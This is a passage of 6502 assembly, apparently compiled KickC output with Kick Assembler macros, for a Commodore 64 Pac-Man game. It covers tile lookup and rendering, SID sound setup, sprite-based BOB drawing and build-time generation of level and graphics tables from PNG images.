jmp __b5
__b9:
lda #0
sta.z open_directions
__b5:
// level_tile_get(xtile+1, ytile)
ldx.z xtile
inx
lda.z ytile
jsr level_tile_get
// level_tile_get(xtile+1, ytile)
tax
// if(TILES_TYPE[level_tile_get(xtile+1, ytile)]!=WALL)
lda TILES_TYPE,x
cmp #WALL
beq __b6
// open_directions |= RIGHT
lda #RIGHT
ora.z open_directions
sta.z open_directions
__b6:
// level_tile_get(xtile, ytile-1)
lda.z ytile
sec
sbc #1
ldx.z xtile
jsr level_tile_get
// level_tile_get(xtile, ytile-1)
// if(TILES_TYPE[level_tile_get(xtile, ytile-1)]!=WALL)
tay
lda TILES_TYPE,y
cmp #WALL
beq __b7
// open_directions |= UP
lda #UP
ora.z open_directions
sta.z open_directions
__b7:
// level_tile_get(xtile, ytile+1)
lda.z ytile
clc
adc #1
ldx.z xtile
jsr level_tile_get
// level_tile_get(xtile, ytile+1)
// if(TILES_TYPE[level_tile_get(xtile, ytile+1)]!=WALL)
tay
lda TILES_TYPE,y
cmp #WALL
beq __b8
// open_directions |= DOWN
lda #DOWN
ora.z open_directions
sta.z open_directions
__b8:
// directions[xtile] = open_directions
lda.z open_directions
ldy.z xtile
sta (directions),y
// for(char xtile=0; xtile<50; xtile++)
inc.z xtile
jmp __b2
}
// Show the level by rendering all tiles
// Returns the number of pills on the level
level_show: {
.label return = 9
.label level = 7
.label ytile = $10
.label tile_right = 2
.label xtile = $13
.label count = 9
.label xcol = $f
lda #<LEVEL_TILES
sta.z level
lda #>LEVEL_TILES
sta.z level+1
lda #<0
sta.z count
sta.z count+1
sta.z ytile
__b1:
// for(char ytile=0;ytile<37;ytile++)
lda.z ytile
cmp #$25
bcc __b4
// }
rts
__b4:
lda #0
sta.z xtile
sta.z xcol
__b2:
// for(char xcol=0, xtile=0; xcol<25; xcol++)
lda.z xcol
cmp #$19
bcc __b3
// level += 0x40
lda #$40
clc
adc.z level
sta.z level
bcc !+
inc.z level+1
!:
// for(char ytile=0;ytile<37;ytile++)
inc.z ytile
jmp __b1
__b3:
// char tile_left = level[xtile++]
ldy.z xtile
lda (level),y
tax
iny
// if(TILES_TYPE[tile_left]==PILL)
lda TILES_TYPE,x
cmp #PILL
bne __b5
// count++;
inc.z count
bne !+
inc.z count+1
!:
__b5:
// char tile_right = level[xtile++]
lda (level),y
sta.z tile_right
iny
sty.z xtile
// if(TILES_TYPE[tile_right]==PILL)
lda #PILL
ldy.z tile_right
cmp TILES_TYPE,y
bne __b6
// count++;
inc.z count
bne !+
inc.z count+1
!:
__b6:
// render_tiles(xcol, ytile, tile_left, tile_right)
ldy.z tile_right
jsr render_tiles
// for(char xcol=0, xtile=0; xcol<25; xcol++)
inc.z xcol
jmp __b2
}
// Sound effects for pacman
pacman_sound_init: {
// SID->VOLUME_FILTER_MODE = 0x0f
// Set master volume
lda #$f
sta SID+OFFSET_STRUCT_MOS6581_SID_VOLUME_FILTER_MODE
// SID->CH1_FREQ = 0
// Channel 1 is Pacman eating sound
lda #<0
sta SID
sta SID+1
// SID->CH1_PULSE_WIDTH = 0
sta SID+OFFSET_STRUCT_MOS6581_SID_CH1_PULSE_WIDTH
sta SID+OFFSET_STRUCT_MOS6581_SID_CH1_PULSE_WIDTH+1
// SID->CH1_CONTROL = 0
sta SID+OFFSET_STRUCT_MOS6581_SID_CH1_CONTROL
// SID->CH1_ATTACK_DECAY = 0
sta SID+OFFSET_STRUCT_MOS6581_SID_CH1_ATTACK_DECAY
// SID->CH1_SUSTAIN_RELEASE = 0xf0
lda #$f0
sta SID+OFFSET_STRUCT_MOS6581_SID_CH1_SUSTAIN_RELEASE
// }
rts
}
// Render graphic pixels into the 9 all-border sprites
// - xcol: x column (0-24). The x-column represents 8 bits of data, 4 mc pixels, 16 on-screen pixels (due to x-expanded sprites)
// - ypos: y position (0-145). The y-position is a line on the screen. Since every second line is black each ypos represents a 2 pixel distance.
// - pixels: The pixel data to set
// void render(__zp($14) char xcol, __zp($10) char ypos, __zp($13) char pixels)
render: {
.label render_index_xcol = $d
.label canvas_offset = 9
.label canvas1 = 7
.label canvas2 = 9
.label ypix = 2
.label xcol = $14
.label ypos = $10
.label pixels = $13
// char ytile = ypos/4
lda.z ypos
lsr
lsr
tay
// BYTE1(RENDER_INDEX) + xcol
lax.z xcol
axs #-[>RENDER_INDEX]
// ytile*2
tya
asl
// MAKEWORD( BYTE1(RENDER_INDEX) + xcol, ytile*2 )
stx.z render_index_xcol+1
sta.z render_index_xcol
// unsigned int canvas_offset = MAKEWORD( render_index_xcol[RENDER_OFFSET_CANVAS_HI], render_index_xcol[RENDER_OFFSET_CANVAS_LO] )
ldy #RENDER_OFFSET_CANVAS_HI
lda (render_index_xcol),y
sta.z canvas_offset+1
ldy #0
lda (render_index_xcol),y
sta.z canvas_offset
// char * canvas1 = SPRITES_1 + canvas_offset
clc
adc #<SPRITES_1
sta.z canvas1
lda.z canvas_offset+1
adc #>SPRITES_1
sta.z canvas1+1
// char * canvas2 = SPRITES_2 + canvas_offset
lda.z canvas2
clc
adc #<SPRITES_2
sta.z canvas2
lda.z canvas2+1
adc #>SPRITES_2
sta.z canvas2+1
// char ypos_inc_offset = render_index_xcol[RENDER_OFFSET_YPOS_INC]
ldy #RENDER_OFFSET_YPOS_INC
lda (render_index_xcol),y
tax
// char ypix = ypos&3
// Move the last few y-pixels
lda #3
and.z ypos
sta.z ypix
ldy #0
__b1:
// for(char i=0;i<ypix;i++)
cpy.z ypix
bcc __b2
// *canvas1 = pixels
// Render the pixels
lda.z pixels
ldy #0
sta (canvas1),y
// *canvas2 = pixels
sta (canvas2),y
// }
rts
__b2:
// canvas1 += RENDER_YPOS_INC[ypos_inc_offset]
lda RENDER_YPOS_INC,x
clc
adc.z canvas1
sta.z canvas1
bcc !+
inc.z canvas1+1
!:
// canvas2 += RENDER_YPOS_INC[ypos_inc_offset]
lda RENDER_YPOS_INC,x
clc
adc.z canvas2
sta.z canvas2
bcc !+
inc.z canvas2+1
!:
// ypos_inc_offset++;
inx
// for(char i=0;i<ypix;i++)
iny
jmp __b1
}
// Get the level tile at a given (xtile, ytile) position
// Returns the TILE ID
// If xtile of ytile is outside the legal range the empty tile (0) is returned
// __register(A) char level_tile_get(__register(X) char xtile, __register(A) char ytile)
level_tile_get: {
.label ytiles = $d
// if(xtile>49 || ytile>36)
cpx #$31+1
bcs __b1
cmp #$24+1
bcs __b1
// char* ytiles = LEVEL_TILES + LEVEL_YTILE_OFFSET[ytile]
asl
tay
clc
lda #<LEVEL_TILES
adc LEVEL_YTILE_OFFSET,y
sta.z ytiles
lda #>LEVEL_TILES
adc LEVEL_YTILE_OFFSET+1,y
sta.z ytiles+1
// return ytiles[xtile];
txa
tay
lda (ytiles),y
rts
__b1:
lda #0
// }
rts
}
// Renders 2x1 tiles on the canvas.
// Tiles are 4x4 px. This renders 8px x 4px.
// - xcol: The x column position (0-24) (a column is 8 pixels)
// - ytile: The y tile position (0-37). Tile y position 0 is a special half-tile at the top of the screen.
// - tile_left: The left tile ID.
// - tile_right: The right tile ID.
// void render_tiles(__zp($f) char xcol, __zp($10) char ytile, __register(X) char tile_left, __register(Y) char tile_right)
render_tiles: {
.label tile_left_pixels = $d
.label tile_right_pixels = $b
.label render_index_xcol = $11
.label canvas_offset = 3
.label canvas1 = 5
.label canvas2 = 3
.label y = 2
.label xcol = $f
.label ytile = $10
// tile_left*4
txa
asl
asl
// char * tile_left_pixels = TILES_LEFT + tile_left*4
clc
adc #<TILES_LEFT
sta.z tile_left_pixels
lda #>TILES_LEFT
adc #0
sta.z tile_left_pixels+1
// tile_right*4
tya
asl
asl
// char * tile_right_pixels = TILES_RIGHT + tile_right*4
clc
adc #<TILES_RIGHT
sta.z tile_right_pixels
lda #>TILES_RIGHT
adc #0
sta.z tile_right_pixels+1
// BYTE1(RENDER_INDEX) + xcol
lax.z xcol
axs #-[>RENDER_INDEX]
// ytile*2
lda.z ytile
asl
// MAKEWORD( BYTE1(RENDER_INDEX) + xcol, ytile*2 )
stx.z render_index_xcol+1
sta.z render_index_xcol
// unsigned int canvas_offset = MAKEWORD( render_index_xcol[RENDER_OFFSET_CANVAS_HI], render_index_xcol[RENDER_OFFSET_CANVAS_LO] )
ldy #RENDER_OFFSET_CANVAS_HI
lda (render_index_xcol),y
sta.z canvas_offset+1
ldy #0
lda (render_index_xcol),y
sta.z canvas_offset
// char * canvas1 = SPRITES_1 + canvas_offset
clc
adc #<SPRITES_1
sta.z canvas1
lda.z canvas_offset+1
adc #>SPRITES_1
sta.z canvas1+1
// char * canvas2 = SPRITES_2 + canvas_offset
lda.z canvas2
clc
adc #<SPRITES_2
sta.z canvas2
lda.z canvas2+1
adc #>SPRITES_2
sta.z canvas2+1
// char ypos_inc_offset = render_index_xcol[RENDER_OFFSET_YPOS_INC]
ldy #RENDER_OFFSET_YPOS_INC
lda (render_index_xcol),y
tax
lda #0
sta.z y
__b1:
// for(char y=0;y<4;y++)
lda.z y
cmp #4
bcc __b2
// }
rts
__b2:
// char pixels = tile_left_pixels[y] | tile_right_pixels[y]
ldy.z y
lda (tile_left_pixels),y
ora (tile_right_pixels),y
// *canvas1 = pixels
ldy #0
sta (canvas1),y
// *canvas2 = pixels
sta (canvas2),y
// canvas1 += RENDER_YPOS_INC[ypos_inc_offset]
lda RENDER_YPOS_INC,x
clc
adc.z canvas1
sta.z canvas1
bcc !+
inc.z canvas1+1
!:
// canvas2 += RENDER_YPOS_INC[ypos_inc_offset]
lda RENDER_YPOS_INC,x
clc
adc.z canvas2
sta.z canvas2
bcc !+
inc.z canvas2+1
!:
// ypos_inc_offset++;
inx
// for(char y=0;y<4;y++)
inc.z y
jmp __b1
}
.segment Data
// The byteboozer decruncher
BYTEBOOZER:
.const B2_ZP_BASE = $fc
#import "byteboozer_decrunch.asm"
// Pacman eating sound
PACMAN_CH1_FREQ_HI: .byte $23, $1d, $1a, $17, $15, $12, 0, 0, 0, 0, 0, $19, $1a, $1c, $1d, $20, $23, 0, 0, 0, 0, 0
PACMAN_CH1_CONTROL: .byte $21, $21, $21, $21, $21, $21, 0, 0, 0, 0, 0, $21, $21, $21, $21, $21, $21, 0, 0, 0, 0, 0
// Address of the first pixel each x column
RENDER_XCOLS: .word 0, 1, 2, $400, $401, $402, $800, $801, $802, $c00, $c01, $c02, $1000, $1001, $1002, $1400, $1401, $1402, $1800, $1801, $1802, $1c00, $1c01, $1c02, 0, 0
// Offset for each y-position from the first pixel of an X column
RENDER_YPOS: .word 0, 0, 0, 6, $c, $12, $18, $1e, $24, $2a, $30, $36, $3c, $40+3, $40+9, $40+$f, $40+$15, $40+$1b, $40+$21, $40+$27, $40+$2d, $40+$33, $40+$39, $80, $80+6, $80+$c, $80+$12, $80+$18, $80+$1e, $80+$24, $80+$2a, $80+$30, $80+$36, $80+$3c, $c0+3, $c0+9, $c0+$f, $c0+$15, $c0+$1b, $c0+$21, $c0+$27, $c0+$2d, $c0+$33, $c0+$39, $100, $100+6, $100+$c, $100+$12, $100+$18, $100+$1e, $100+$24, $100+$2a, $100+$30, $100+$36, $100+$3c, $140+3, $140+9, $140+$f, $140+$15, $140+$1b, $140+$21, $140+$27, $140+$2d, $140+$33, $140+$39, $180, $180+6, $180+$c, $180+$12, $180+$18, $180+$1e, $180+$24, $180+$2a, $180+$30, $180+$36, $180+$3c, $1c0+3, $1c0+9, $1c0+$f, $1c0+$15, $1c0+$1b, $1c0+$21, $1c0+$27, $1c0+$2d, $1c0+$33, $1c0+$39, $200, $200+6, $200+$c, $200+$12, $200+$18, $200+$1e, $200+$24, $200+$2a, $200+$30, $200+$36, $200+$3c, $240+3, $240+9, $240+$f, $240+$15, $240+$1b, $240+$21, $240+$27, $240+$2d, $240+$33, $240+$39, $280, $280+6, $280+$c, $280+$12, $280+$18, $280+$1e, $280+$24, $280+$2a, $280+$30, $280+$36, $280+$3c, $2c0+3, $2c0+9, $2c0+$f, $2c0+$15, $2c0+$1b, $2c0+$21, $2c0+$27, $2c0+$2d, $2c0+$33, $2c0+$39, $300, $300+6, $300+$c, $300+$12, $300+$18, $300+$1e, $300+$24, $300+$2a, $300+$30, $300+$36, $300+$3c, $340+3, $340+9, $340+$f, $340+$15, $340+$1b, $340+$21, $340+$27, $340+$2d, $340+$33, $340+$39
// Offset for each y-position from the first pixel of an X column in sprite#9
RENDER_YPOS_9TH: .word 3, 3, 3, 9, $f, $15, $1b, $21, $27, $2d, $33, $39, $40, $40+6, $40+$c, $40+$12, $40+$18, $40+$1e, $40+$24, $40+$2a, $40+$30, $40+$36, $40+$3c, $80+3, $80+9, $80+$f, $80+$15, $80+$1b, $80+$21, $80+$27, $80+$2d, $80+$33, $80+$39, $c0, $c0+6, $c0+$c, $c0+$12, $c0+$18, $c0+$1e, $c0+$24, $c0+$2a, $c0+$30, $c0+$36, $c0+$3c, $100+3, $100+9, $100+$f, $100+$15, $100+$1b, $100+$21, $100+$27, $100+$2d, $100+$33, $100+$39, $140, $140+6, $140+$c, $140+$12, $140+$18, $140+$1e, $140+$24, $140+$2a, $140+$30, $140+$36, $140+$3c, $180+3, $180+9, $180+$f, $180+$15, $180+$1b, $180+$21, $180+$27, $180+$2d, $180+$33, $180+$39, $1c0, $1c0+6, $1c0+$c, $1c0+$12, $1c0+$18, $1c0+$1e, $1c0+$24, $1c0+$2a, $1c0+$30, $1c0+$36, $1c0+$3c, $200+3, $200+9, $200+$f, $200+$15, $200+$1b, $200+$21, $200+$27, $200+$2d, $200+$33, $200+$39, $240, $240+6, $240+$c, $240+$12, $240+$18, $240+$1e, $240+$24, $240+$2a, $240+$30, $240+$36, $240+$3c, $280+3, $280+9, $280+$f, $280+$15, $280+$1b, $280+$21, $280+$27, $280+$2d, $280+$33, $280+$39, $2c0, $2c0+6, $2c0+$c, $2c0+$12, $2c0+$18, $2c0+$1e, $2c0+$24, $2c0+$2a, $2c0+$30, $2c0+$36, $2c0+$3c, $300+3, $300+9, $300+$f, $300+$15, $300+$1b, $300+$21, $300+$27, $300+$2d, $300+$33, $300+$39, $340, $340+6, $340+$c, $340+$12, $340+$18, $340+$1e, $340+$24, $340+$2a, $340+$30, $340+$36, $340+$3c
// Increment for each y-position from the first pixel of an X column
.align $20
RENDER_YPOS_INC: .byte 0, 0, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 7, 6, 6, 6, 6, 6, 6, 6, 6, 6, 7, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 7, 6, 6, 6, 6, 6, 6, 6, 6, 6, 7, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 7, 6, 6, 6, 6, 6, 6, 6, 6, 6, 7, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 7, 6, 6, 6, 6, 6, 6, 6, 6, 6, 7, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 7, 6, 6, 6, 6, 6, 6, 6, 6, 6, 7, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 7, 6, 6, 6, 6, 6, 6, 6, 6, 6, 7, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 7, 6, 6, 6, 6, 6, 6, 6, 6, 6, 7, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 7
// The BOB x column position (0-24) (a column is 8 pixels)
bobs_xcol: .byte $a, $a, $a, $a, $a
// The BOB y fine position (0-99). The y-position is a line on the screen. Since every second line is black each ypos represents a 2 pixel distance.
bobs_yfine: .byte $2d, $2d, $2d, $2d, $2d
// The BOB ID in the BOB data tables
bobs_bob_id: .byte 0, 0, 0, 0, 0
// The BOB restore data: 18 bytes per BOB. Doubled for double-buffering.
// char * left_canvas;
// char left_ypos_inc_offset;
// char * right_canvas;
// char right_ypos_inc_offset;
// char[12] restore_pixels;
.align $100
bobs_restore: .fill NUM_BOBS*SIZE_BOB_RESTORE*2, 0
.segment Init
// The level represented as 4x4 px tiles. Each byte is the ID of a tile from the tile set.
// The level is 50 tiles * 37 tiles. The first tile line are special half-tiles (where only the last 2 pixel rows are shown).
// The level data is organized as 37 rows of 50 tile IDs.
LEVEL_TILES_CRUNCHED:
.modify B2() {
.pc = LEVEL_TILES "LEVEL TILE GRAPHICS"
.var pic_level = LoadPicture("pacman-tiled.png", List().add($000000, $352879, $bfce72, $883932))
// Maps the tile pixels (a 16 bit number) to the tile ID
.var TILESET = Hashtable()
// Maps the tile ID to the pixels (a 16 bit number)
.var TILESET_BY_ID = Hashtable()
// Tile ID 0 is empty
.eval TILESET.put(0, 0)
.eval TILESET_BY_ID.put(0, 0)
.align $100
// TABLE LEVEL_TILES[64*37]
// The level is 50 tiles * 37 tiles. The first tile line are special half-tiles (where only the last 2 pixel rows are shown).
// The level data is organized as 37 rows of 64 bytes containing tile IDs. (the last 14 are unused to achieve 64-byte alignment)
.for(var ytile=0; ytile<37; ytile++) {
.for(var xtile=0; xtile<50; xtile++) {
// Find the tile pixels (4x4 px - 16 bits)
.var pixels = 0;
.for(var i=0; i<4; i++) {
.var pix = pic_level.getMulticolorByte(xtile/2,ytile*4+i)
.if((xtile&1)==0) {
// left nibble
.eval pix = floor(pix / $10)
} else {
// right nibble
.eval pix = pix & $0f
}
.eval pixels = pixels*$10 + pix
}
.var tile_id = 0
.if(TILESET.containsKey(pixels)) {
.eval tile_id = TILESET.get(pixels)
} else {
.eval tile_id = TILESET.keys().size()
.eval TILESET.put(pixels, tile_id)
.eval TILESET_BY_ID.put(tile_id, pixels)
// .print "tile "+tile_id+" : "+toHexString(pixels,4)
}
// Output the tile ID
.byte tile_id
}
.fill 14, 0
}
.align $100
// TABLE char TILES_LEFT[0x80]
// The left tile graphics. A tile is 4x4 px. The left tiles contain tile graphics for the 4 left bits of a char. Each tile is 4 bytes.
.for(var tile_id=0;tile_id<TILESET_BY_ID.keys().size();tile_id++) {
.var pixels = TILESET_BY_ID.get(tile_id)
.for(var i=0; i<4; i++) {
.var pix = (pixels & $f000) >> 12
.byte pix<<4
.eval pixels = pixels << 4
}
}
.align $80
// TABLE char TILES_RIGHT[0x80]
// The right tile graphics. A tile is 4x4 px. The right tiles contain tile graphics for the 4 right bits of a char. Each tile is 4 bytes.
.for(var tile_id=0;tile_id<TILESET_BY_ID.keys().size();tile_id++) {
.var pixels = TILESET_BY_ID.get(tile_id)
.for(var i=0; i<4; i++) {
.var pix = (pixels & $f000) >> 12
.byte pix
.eval pixels = pixels << 4
}
}
.align $80
// TABLE char TILES_TYPE[0x20]
// 0: empty (all black), 1:pill, 2:powerup, 4: wall (contains blue pixels)
.for(var tile_id=0;tile_id<TILESET_BY_ID.keys().size();tile_id++) {
.var pixels = TILESET_BY_ID.get(tile_id)
.var tile_type = 0
.if(pixels==$0220) .eval tile_type=1 // 1:pill
.if(pixels==$aaaa) .eval tile_type=2 // 2:powerup
.for(var i=0; i<4; i++) {
.var pix = (pixels & $f000) >> 12
// Detect wall - any blue pixels (%01)
.if( (pix&%0100)==%0100) .eval tile_type = 4; // 4:wall
.if( (pix&%0001)==%0001) .eval tile_type = 4; // 4:wall
.eval pixels = pixels << 4
}
.byte tile_type
//.print "tile "+tile_id+" gfx "+toHexString(TILESET_BY_ID.get(tile_id),4) + " type "+tile_type
}
}
// BOB data: One table per bob byte (left/right, mask/pixels = 4 tables). The index into the table is the bob_id + row*BOB_ROW_SIZE.
BOB_GRAPHICS_CRUNCHED:
.modify B2() {
.pc = BOB_MASK_LEFT "BOB GRAPHICS TABLES"
.var bobs_pic = LoadPicture("pacman-bobs.png", List().add($000000, $352879, $bfce72, $883932))
// TABLE char BOB_MASK_LEFT[BOB_ROW_SIZE*6]
.for(var row=0; row<6;row++) {
.align BOB_ROW_SIZE
.for(var pac=0; pac<9;pac++)
.for(var scroll=0; scroll<4;scroll++)
.byte bobs_pic.getMulticolorByte(0,scroll*6+row)
.for(var ghost=0; ghost<8;ghost++)
.for(var scroll=0; scroll<4;scroll++)
.byte bobs_pic.getMulticolorByte(0,24+scroll*6+row)
.for(var ghost=0; ghost<8;ghost++)
.for(var scroll=0; scroll<4;scroll++)
.byte bobs_pic.getMulticolorByte(0,48+scroll*6+row)
}
// TABLE char BOB_MASK_RIGT[BOB_ROW_SIZE*6]
.for(var row=0; row<6;row++) {
.align BOB_ROW_SIZE
.for(var pac=0; pac<9;pac++)
.for(var scroll=0; scroll<4;scroll++)
.byte bobs_pic.getMulticolorByte(1,scroll*6+row)
.for(var ghost=0; ghost<8;ghost++)
.for(var scroll=0; scroll<4;scroll++)
.byte bobs_pic.getMulticolorByte(1,24+scroll*6+row)
.for(var blue=0; blue<8;blue++)
.for(var scroll=0; scroll<4;scroll++)
.byte bobs_pic.getMulticolorByte(1,48+scroll*6+row)
}
// TABLE char BOB_PIXEL_LEFT[BOB_ROW_SIZE*6]
.for(var row=0; row<6;row++) {
.align BOB_ROW_SIZE
.for(var pac=0; pac<9;pac++)
.for(var scroll=0; scroll<4;scroll++)
.byte bobs_pic.getMulticolorByte(2+pac*2,scroll*6+row)
.for(var ghost=0; ghost<8;ghost++)
.for(var scroll=0; scroll<4;scroll++)
.byte bobs_pic.getMulticolorByte(2+ghost*2,24+scroll*6+row)
.for(var ghost=0; ghost<8;ghost++)
.for(var scroll=0; scroll<4;scroll++)
.byte bobs_pic.getMulticolorByte(2+ghost*2,48+scroll*6+row)
}
// TABLE char BOB_PIXEL_RIGT[BOB_ROW_SIZE*6]
.for(var row=0; row<6;row++) {
.align BOB_ROW_SIZE
.for(var pac=0; pac<9;pac++)
.for(var scroll=0; scroll<4;scroll++)
.byte bobs_pic.getMulticolorByte(3+pac*2,scroll*6+row)
.for(var ghost=0; ghost<8;ghost++)
.for(var scroll=0; scroll<4;scroll++)
.byte bobs_pic.getMulticolorByte(3+ghost*2,24+scroll*6+row)
.for(var ghost=0; ghost<8;ghost++)
.for(var scroll=0; scroll<4;scroll++)
.byte bobs_pic.getMulticolorByte(3+ghost*2,48+scroll*6+row)
}
}
// Splash screen 25 xcol * 147 ypos bytes
SPLASH_CRUNCHED:
.modify B2() {
.pc = SPLASH "SPLASH SCREEN" // 00:BLACK, 01:BLUE, 10:YELLOW, 11:RED
.var pic_splash_mc = LoadPicture("pacman-splash.png", List().add($000000, $352879, $bfce72, $883932))
// 0:BLACK, 1:YELLOW
.var pic_splash_yellow = LoadPicture("pacman-splash.png", List().add($000000, $bfce72))
// 0:BLACK, 1:BLUE
.var pic_splash_blue = LoadPicture("pacman-splash.png", List().add($000000, $352879))
.for(var xcol=0; xcol<25; xcol++) {
.for(var ypos=0; ypos<147; ypos++) {
.if(ypos>25 && ypos<123) {
// Sprites in the sides are in single color blue on splash screen
.byte pic_splash_blue.getSinglecolorByte(xcol,ypos)
} else .if(xcol>2 && xcol<21) {
// Sprites 2-7 are in single color yellow on splash screen
.byte pic_splash_yellow.getSinglecolorByte(xcol,ypos)
} else {
// Sprites 0&1 are in multi color on splash screen
.byte pic_splash_mc.getMulticolorByte(xcol,ypos)
}
}
}
}
// Victory graphics 25 xcol * 25 ypos bytes
WIN_GFX_CRUNCHED:
.modify B2() {
.pc = WIN_GFX "WIN GRAPHICS" // 00:BLACK, 01:BLUE, 10:YELLOW, 11:RED
.var pic_win = LoadPicture("pacman-win.png", List().add($000000, $352879, $bfce72, $883932))
.for(var xcol=0; xcol<25; xcol++) {
.for(var ypos=0; ypos<25; ypos++) {
.byte pic_win.getMulticolorByte(xcol,ypos)
}
}
}
// Game Over graphics 25 xcol * 25 ypos bytes
GAMEOVER_GFX_CRUNCHED:
.modify B2() {
.pc = GAMEOVER_GFX "GAMEOVER GRAPHICS" // 00:BLACK, 01:BLUE, 10:YELLOW, 11:RED
.var pic_gameover = LoadPicture("pacman-gameover.png", List().add($000000, $352879, $bfce72, $883932))
.for(var xcol=0; xcol<25; xcol++) {
.for(var ypos=0; ypos<25; ypos++) {
.byte pic_gameover.getMulticolorByte(xcol,ypos)
}
}
}
// Renders the BOBs at the given positions
// The bob logic code will be merged with raster code using code-merger.c
// First restores the canvas from previously rendered bobs, and then renders the bobs at the given positions.
// BOBs are 16px*6px graphics (2 x-columns * 6px) with masks and pixels
// Uses the bobs_xcol, bobs_yfine, bobs_bob_id and bob_restore for data about the bobs
// Implemented in inline kick assembler
LOGIC_CODE_CRUNCHED:
.macro LOGIC_BEGIN(cycles) {
.byte cycles
}
.macro LOGIC_END() {
.byte $ff
}
.modify B2() {
.pc = LOGIC_CODE_UNMERGED "LOGIC CODE UNMERGED"
LOGIC_BEGIN(2)
clc
LOGIC_END()
// ******************************************
// Restores the canvas under the rendered bobs
// ******************************************
.for(var bob=NUM_BOBS-1;bob>=0; bob--) {
//LOGIC_BEGIN(6)
//inc $d021
//LOGIC_END()
LOGIC_BEGIN(3)
ldx bobs_restore_base
LOGIC_END()
// char * volatile left_canvas = *((char**)&bob_restore[0]);
LOGIC_BEGIN(7)
lda bobs_restore+SIZE_BOB_RESTORE*bob+0,x
sta.z left_canvas
LOGIC_END()
LOGIC_BEGIN(7)
lda bobs_restore+SIZE_BOB_RESTORE*bob+1,x
sta.z left_canvas+1
LOGIC_END()
// char left_ypos_inc_offset = bob_restore[2];
LOGIC_BEGIN(7)
lda bobs_restore+SIZE_BOB_RESTORE*bob+2,x
sta.z left_ypos_inc_offset
LOGIC_END()
// char * volatile rigt_canvas = *((char**)&bob_restore[3]);
LOGIC_BEGIN(7)
lda bobs_restore+SIZE_BOB_RESTORE*bob+3,x
sta.z rigt_canvas
LOGIC_END()
LOGIC_BEGIN(7)
lda bobs_restore+SIZE_BOB_RESTORE*bob+4,x
sta.z rigt_canvas+1
LOGIC_END()
// char rigt_ypos_inc_offset = bob_restore[5];
LOGIC_BEGIN(7)
lda bobs_restore+SIZE_BOB_RESTORE*bob+5,x
sta.z rigt_ypos_inc_offset
LOGIC_END()
// Restore Bob Rows
LOGIC_BEGIN(2)
ldy #0
LOGIC_END()
.for(var row=0;row<6;row++) {
//left_canvas += RENDER_YPOS_INC[left_ypos_inc_offset++];
LOGIC_BEGIN(3)
ldx.z left_ypos_inc_offset
LOGIC_END()
LOGIC_BEGIN(5)
inc.z left_ypos_inc_offset
LOGIC_END()
LOGIC_BEGIN(18)
lda RENDER_YPOS_INC,x
adc.z left_canvas
sta.z left_canvas
lda.z left_canvas+1
adc #0
sta.z left_canvas+1
LOGIC_END()
//rigt_canvas += RENDER_YPOS_INC[rigt_ypos_inc_offset++];
LOGIC_BEGIN(3)
ldx.z rigt_ypos_inc_offset
LOGIC_END()
LOGIC_BEGIN(5)
inc.z rigt_ypos_inc_offset
LOGIC_END()
LOGIC_BEGIN(18)
lda RENDER_YPOS_INC,x
adc.z rigt_canvas
sta.z rigt_canvas
lda.z rigt_canvas+1
adc #0
sta.z rigt_canvas+1
LOGIC_END()
LOGIC_BEGIN(3)
ldx bobs_restore_base
LOGIC_END()
// *left_canvas = bob_restore[6] ;
LOGIC_BEGIN(10)
lda bobs_restore+SIZE_BOB_RESTORE*bob+6+row,x
sta (left_canvas),y
LOGIC_END()
// *rigt_canvas = bob_restore[7];
LOGIC_BEGIN(10)
lda bobs_restore+SIZE_BOB_RESTORE*bob+12+row,x
sta (rigt_canvas),y
LOGIC_END()
}
}
// ******************************************
// Render two tiles on the canvas
// ******************************************
// y==0 from bob restore
LOGIC_BEGIN(12)
// char tile_left_idx = 4 * logic_tile_ptr[0];
lda (logic_tile_ptr),y
asl
asl
sta logic_tile_left_idx
LOGIC_END()
// char logic_tile_right_idx = 4 * logic_tile_ptr[1];
LOGIC_BEGIN(2)
iny
LOGIC_END()
LOGIC_BEGIN(12)
lda (logic_tile_ptr),y
asl
asl
sta logic_tile_right_idx
LOGIC_END()
// char * render_index_xcol = (char*){ (>RENDER_INDEX) + xcol, ytile*2 };
LOGIC_BEGIN(8)
lda #>RENDER_INDEX
adc logic_tile_xcol
sta.z left_render_index_xcol+1
LOGIC_END()
LOGIC_BEGIN(6)
lda logic_tile_yfine
sta.z left_render_index_xcol
LOGIC_END()
// unsigned int canvas_offset = {render_index_xcol[RENDER_OFFSET_CANVAS_HI], render_index_xcol[RENDER_OFFSET_CANVAS_LO] };
// char * left_canvas = canvas_base_hi*$100 + canvas_offset;
LOGIC_BEGIN(2)
ldy #RENDER_OFFSET_CANVAS_LO
LOGIC_END()
LOGIC_BEGIN(8)
lda (left_render_index_xcol),y
sta.z left_canvas
LOGIC_END()
LOGIC_BEGIN(2)
ldy #RENDER_OFFSET_CANVAS_HI
LOGIC_END()
LOGIC_BEGIN(11)
lda (left_render_index_xcol),y
adc canvas_base_hi
sta.z left_canvas+1
LOGIC_END()
// char left_ypos_inc_offset = render_index_xcol[RENDER_OFFSET_YPOS_INC];
LOGIC_BEGIN(2)
ldy #RENDER_OFFSET_YPOS_INC
LOGIC_END()
LOGIC_BEGIN(8)
lda (left_render_index_xcol),y
sta.z left_ypos_inc_offset
LOGIC_END()
// Render Tile Rows
LOGIC_BEGIN(2)
ldy #0
LOGIC_END()
.for(var row=0;row<4;row++) {
// *left_canvas = tile_left_pixels[y] | tile_right_pixels[y];
LOGIC_BEGIN(3)
ldx logic_tile_left_idx
LOGIC_END()
LOGIC_BEGIN(17)
lda TILES_LEFT+row,x
ldx logic_tile_right_idx
ora TILES_RIGHT+row,x
sta (left_canvas),y
LOGIC_END()
//left_canvas += RENDER_YPOS_INC[left_ypos_inc_offset++];
LOGIC_BEGIN(3)
ldx.z left_ypos_inc_offset
LOGIC_END()
LOGIC_BEGIN(18)
lda RENDER_YPOS_INC,x
adc.z left_canvas
sta.z left_canvas
lda.z left_canvas+1
adc #0
sta.z left_canvas+1
LOGIC_END()
LOGIC_BEGIN(5)
inc.z left_ypos_inc_offset
LOGIC_END()
}
// ******************************************
// Renders the BOBs at the given positions
// ******************************************
